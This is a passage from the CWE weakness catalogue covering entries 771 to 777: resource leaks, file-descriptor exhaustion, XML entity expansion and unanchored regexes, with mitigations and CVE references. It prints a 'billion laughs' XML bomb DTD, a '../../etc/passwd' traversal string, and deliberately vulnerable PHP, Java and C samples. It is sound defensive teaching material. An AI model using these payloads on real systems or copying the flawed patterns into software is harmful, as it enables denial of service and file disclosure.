### Notes

#### Relationship

This entry is different from uncontrolled resource consumption (CWE-400) in that there are other weaknesses that are related to inability to control resource consumption, such as holding on to a resource too long after use, or not correctly keeping track of active resources so that they can be managed and released when they are finished (CWE-771).

#### Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	FIO04-J		Close resources when they are no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	SER12-J		Avoid memory and resource leaks during serialization
The CERT Oracle Secure Coding Standard for Java (2011)	MSC05-J		Do not exhaust heap space



## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
125	Flooding
130	Excessive Allocation
147	XML Ping of the Death
197	Exponential Data Expansion
229	Serialized Data Parameter Blowup
230	Serialized Data with Nested Payloads
231	Oversized Serialized Data Payloads
469	HTTP DoS
482	TCP Flood
486	UDP Flood
487	ICMP Flood
488	HTTP Flood
489	SSL Flood
490	Amplification
491	Quadratic Data Expansion
493	SOAP Array Blowup
494	TCP Fragmentation
495	UDP Fragmentation
496	ICMP Fragmentation
528	XML Flood

## References

[REF-386]Joao Antunes, Nuno Ferreira Neves and Paulo Verissimo. "Detection and Prediction of Resource-Exhaustion Vulnerabilities". Proceedings of the IEEE International Symposium on Software Reliability Engineering (ISSRE). 2008 November. < <http://homepages.di.fc.ul.pt/~nuno/PAPERS/ISSRE08.pdf> >.

[REF-387]D.J. Bernstein. "Resource exhaustion". < <http://cr.yp.to/docs/resources.html> >.

[REF-388]Pascal Meunier. "Resource exhaustion". Secure Programming Educational Material. 2004. < <http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-667]Rafal Los. "Real-Life Example of a 'Business Logic Defect' (Screen Shots!)". 2011. < <http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581> >.

[REF-672]Frank Kim. "Top 25 Series - Rank 22 - Allocation of Resources Without Limits or Throttling". 2010 March 3. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/23/top-25-series-rank-22-allocation-of-resources-without-limits-or-throttling/> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-771: Missing Reference to Active Allocated Resource

**Weakness ID** : 771

**Structure** : Simple

**Abstraction** : Base

## Description

The product does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.



## Extended Description

This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	912
ParentOf		773	Missing Reference to Active File Descriptor or Handle	1517

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)  <i>An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</i>	

## Potential Mitigations

### Phase: Operation

### Phase: Architecture and Design

*Strategy = Resource Limitation*

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	2203
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
Software Fault Patterns	SFP14		Failure to Release Resource

## CWE-772: Missing Release of Resource after Effective Lifetime

**Weakness ID :** 772

**Structure :** Simple

**Abstraction :** Base

### Description

The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

### Extended Description

When a resource is not released after use, it can allow attackers to cause a denial of service by causing the allocation of resources without triggering their release. Frequently-affected resources include memory, CPU, disk space, power or battery, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	927
ParentOf	V	401	Missing Release of Memory after Effective Lifetime	921
ParentOf	V	775	Missing Release of File Descriptor or Handle after Effective Lifetime	1519
ParentOf	B	1091	Use of Object without Invoking Destructor Method	1792
CanFollow	B	911	Improper Update of Reference Count	1678

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	927

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	927

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

### Applicable Platforms

**Technology** : Mobile (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)  <i>An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</i>	

### Potential Mitigations

#### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

#### Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

#### Phase: Operation

#### Phase: Architecture and Design

*Strategy = Resource Limitation*

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

### Demonstrative Examples

#### Example 1:

The following method never closes the new file handle. Given enough time, the `Finalize()` method for `BufferedReader` should eventually call `Close()`, but there is no guarantee as to how long this action will take. In fact, there is no guarantee that `Finalize()` will ever be invoked. In a busy environment,

the Operating System could use up all of the available file handles before the Close() function is called.

*Example Language: Java*

*(Bad)*

```
private void processFile(string fName)
{
    BufferedReader fil = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = fil.ReadLine()) != null)
    {
        processLine(line);
    }
}
```

The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure.

*Example Language: Java*

*(Good)*

```
private void processFile(string fName)
{
    BufferedReader fil = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = fil.ReadLine()) != null)
    {
        processLine(line);
    }
    fil.Close();
}
```

### Example 2:

The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.

*Example Language: C#*

*(Bad)*

```
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
```

The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

### Example 3:

This code attempts to open a connection to a database and catches any exceptions that may occur.

*Example Language: Java*

*(Bad)*

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

#### Example 4:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example Language: C#

(Bad)

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

#### Example 5:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

Example Language: C

(Bad)

```
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
            else {
                decodeBlock(buf);
            }
        }
    }
    fclose(f);
    return DECODE_SUCCESS;
}
```

### Observed Examples

Reference	Description
<b>CVE-2007-0897</b>	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans. <a href="https://www.cve.org/CVERecord?id=CVE-2007-0897">https://www.cve.org/CVERecord?id=CVE-2007-0897</a>
<b>CVE-2001-0830</b>	Sockets not properly closed when attacker repeatedly connects and disconnects from server. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0830">https://www.cve.org/CVERecord?id=CVE-2001-0830</a>
<b>CVE-1999-1127</b>	Does not shut down named pipe connections if malformed data is sent.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-1999-1127">https://www.cve.org/CVERecord?id=CVE-1999-1127</a>
<b>CVE-2009-2858</b>	Chain: memory leak (CWE-404) leads to resource exhaustion. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2858">https://www.cve.org/CVERecord?id=CVE-2009-2858</a>
<b>CVE-2009-2054</b>	Product allows exhaustion of file descriptors when processing a large number of TCP packets. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2054">https://www.cve.org/CVERecord?id=CVE-2009-2054</a>
<b>CVE-2008-2122</b>	Port scan triggers CPU consumption with processes that attempt to read data from closed sockets. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2122">https://www.cve.org/CVERecord?id=CVE-2008-2122</a>
<b>CVE-2007-4103</b>	Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake. <a href="https://www.cve.org/CVERecord?id=CVE-2007-4103">https://www.cve.org/CVERecord?id=CVE-2007-4103</a>
<b>CVE-2002-1372</b>	Return values of file/socket operations not checked, allowing resultant consumption of file descriptors. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1372">https://www.cve.org/CVERecord?id=CVE-2002-1372</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2166
MemberOf	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	2174
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	2203
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347

### Notes

#### Maintenance

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

#### Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
OMG ASCSM	ASCSM-CWE-772		
OMG ASCRM	ASCRM-CWE-772		
Software Fault Patterns	SFP14		Failure to Release Resource

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
469	HTTP DoS

### References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-773: Missing Reference to Active File Descriptor or Handle

**Weakness ID :** 773

**Structure :** Simple

**Abstraction :** Variant

### Description

The product does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.

### Extended Description

This can cause the product to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	771	Missing Reference to Active Allocated Resource	1510

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)  <i>An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</i>	

### Potential Mitigations

**Phase:** Operation

**Phase:** Architecture and Design

*Strategy = Resource Limitation*

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	2203
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
Software Fault Patterns	SFP14		Failure to Release Resource

**CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling****Weakness ID** : 774**Structure** : Simple**Abstraction** : Variant**Description**

The product allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.

**Extended Description**

This can cause the product to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	770	Allocation of Resources Without Limits or Throttling	1502

**Alternate Terms**

**File Descriptor Exhaustion** :

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)  <i>When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.</i>	

## Potential Mitigations

**Phase: Operation**

**Phase: Architecture and Design**

*Strategy = Resource Limitation*

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		985	SFP Secondary Cluster: Unrestricted Consumption	888	2204

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP13		Unrestricted Consumption

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime

**Weakness ID** : 775

**Structure** : Simple

**Abstraction** : Variant

## Description

The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.

## Extended Description

When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		772	Missing Release of Resource after Effective Lifetime	1512

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)  <i>An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</i>	

## Potential Mitigations

**Phase: Operation**

**Phase: Architecture and Design**

*Strategy = Resource Limitation*

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

## Observed Examples

Reference	Description
<b>CVE-2007-0897</b>	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans. <a href="https://www.cve.org/CVERecord?id=CVE-2007-0897">https://www.cve.org/CVERecord?id=CVE-2007-0897</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		982	SFP Secondary Cluster: Failure to Release Resource	888	2203
MemberOf		1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
Software Fault Patterns	SFP14		Failure to Release Resource

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

**Weakness ID** : 776

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

### Extended Description

If the DTD contains a large number of nested or recursive entities, this can lead to explosive growth of data when parsed, causing a denial of service.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		409	Improper Handling of Highly Compressed Data (Data Amplification)	943
ChildOf		674	Uncontrolled Recursion	1391
CanFollow		827	Improper Control of Document Type Definition	1616

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		674	Uncontrolled Recursion	1391

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2101

## Applicable Platforms

**Language** : XML (Prevalence = Undetermined)

## Alternate Terms

**XEE** : XEE is the acronym commonly used for XML Entity Expansion.

**Billion Laughs Attack** :

**XML Bomb** : While the "XML Bomb" term was used in the early years of knowledge of this issue, the XEE term seems to be more commonly used.

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)  <i>If parsed, recursive entity references allow the attacker to expand data exponentially, quickly consuming all system resources.</i>	

## Potential Mitigations

### Phase: Operation

If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

### Phase: Implementation

Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

## Demonstrative Examples

### Example 1:

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is  $2^0$ . Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or  $2^1$ . Ultimately, we reach entity THIRTYTWO, which will expand to  $2^{32}$  characters in length, or 4 GB, probably consuming far more data than expected.

Example Language: XML

(Attack)

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

## Observed Examples

Reference	Description
<b>CVE-2008-3281</b>	XEE in XML-parsing library. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3281">https://www.cve.org/CVERecord?id=CVE-2008-3281</a>
<b>CVE-2011-3288</b>	XML bomb / XEE in enterprise communication product. <a href="https://www.cve.org/CVERecord?id=CVE-2011-3288">https://www.cve.org/CVERecord?id=CVE-2011-3288</a>

Reference	Description
<b>CVE-2011-1755</b>	"Billion laughs" attack in XMPP server daemon. <a href="https://www.cve.org/CVERecord?id=CVE-2011-1755">https://www.cve.org/CVERecord?id=CVE-2011-1755</a>
<b>CVE-2009-1955</b>	XML bomb in web server module <a href="https://www.cve.org/CVERecord?id=CVE-2009-1955">https://www.cve.org/CVERecord?id=CVE-2009-1955</a>
<b>CVE-2003-1564</b>	Parsing library allows XML bomb <a href="https://www.cve.org/CVERecord?id=CVE-2003-1564">https://www.cve.org/CVERecord?id=CVE-2003-1564</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1030	OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)	1026	2230
MemberOf		1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	44		XML Entity Expansion

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
197	Exponential Data Expansion

### References

- [REF-676]Amit Klein. "Multiple vendors XML parser (and SOAP/WebServices server) Denial of Service attack using DTD". 2002 December 6. < <http://www.securityfocus.com/archive/1/303509> >.
- [REF-677]Rami Jaamour. "XML security: Preventing XML bombs". 2006 February 2. < [http://searchsoftwarequality.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid92\\_gci1168442,00.html?asrc=SS\\_CLA\\_302%20%20558&psrc=CLT\\_92#](http://searchsoftwarequality.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid92_gci1168442,00.html?asrc=SS_CLA_302%20%20558&psrc=CLT_92#) >.
- [REF-678]Didier Stevens. "Dismantling an XML-Bomb". 2008 September 3. < <http://blog.didierstevens.com/2008/09/23/dismantling-an-xml-bomb/> >.
- [REF-679]Robert Auger. "XML Entity Expansion". < <http://projects.webappsec.org/XML-Entity-Expansion> >.
- [REF-680]Elliott Rusty Harold. "Tip: Configure SAX parsers for secure processing". 2005 May 7. < <http://www.ibm.com/developerworks/xml/library/x-tipcfsx.html> >.
- [REF-500]Bryan Sullivan. "XML Denial of Service Attacks and Defenses". 2009 September. < <http://msdn.microsoft.com/en-us/magazine/ee335713.aspx> >.
- [REF-682]Blaise Doughan. "Preventing Entity Expansion Attacks in JAXB". 2011 March 1. < <http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html> >.

## CWE-777: Regular Expression without Anchors

**Weakness ID** : 777

**Structure** : Simple

**Abstraction** : Variant

### Description



The product uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through.

### Extended Description

When performing tasks such as validating against a set of allowed inputs (allowlist), data is examined and possibly modified to ensure that it is well-formed and adheres to a list of safe values. If the regular expression is not anchored, malicious or malformed data may be included before or after any string matching the regular expression. The type of malicious data that is allowed will depend on the context of the application and which anchors are omitted from the regular expression.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		625	Permissive Regular Expression	1309

### Background Details

Regular expressions are typically used to match a pattern of text. Anchors are used in regular expressions to specify where the pattern should match: at the beginning, the end, or both (the whole input).

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability	Bypass Protection Mechanism	
Confidentiality	<i>An unanchored regular expression in the context of an allowlist will possibly result in a protection mechanism failure, allowing malicious or malformed data to enter trusted regions of the program. The specific consequences will depend on what functionality the allowlist was protecting.</i>	
Access Control		

### Potential Mitigations

#### Phase: Implementation

Be sure to understand both what will be matched and what will not be matched by a regular expression. Anchoring the ends of the expression will allow the programmer to define an allowlist strictly limited to what is matched by the text in the regular expression. If you are using a package that only matches one line by default, ensure that you can match multi-line inputs if necessary.

### Demonstrative Examples

#### Example 1:

Consider a web application that supports multiple languages. It selects messages for an appropriate language by using the lang parameter.

*Example Language: PHP*

*(Bad)*

```
$dir = "/home/cwe/languages";
$lang = $_GET['lang'];
```

```
if (preg_match("/[A-Za-z0-9]+/", $lang)) {
    include("$dir/$lang");
}
else {
    echo "You shall not pass!\n";
}
```

The previous code attempts to match only alphanumeric values so that language values such as "english" and "french" are valid while also protecting against path traversal, CWE-22. However, the regular expression anchors are omitted, so any text containing at least one alphanumeric character will now pass the validation step. For example, the attack string below will match the regular expression.

Example Language:

(Attack)

```
../../etc/passwd
```

If the attacker can inject code sequences into a file, such as the web server's HTTP request log, then the attacker may be able to redirect the lang parameter to the log file and execute arbitrary code.

### Example 2:

This code uses a regular expression to validate an IP string prior to using it in a call to the "ping" command.

Example Language: Python

(bad)

```
import subprocess
import re
def validate_ip_regex(ip: str):
    ip_validator = re.compile(r"((25[0-5])|(2[0-4])|1\d|[1-9])\d\.\.?b{4}")
    if ip_validator.match(ip):
        return ip
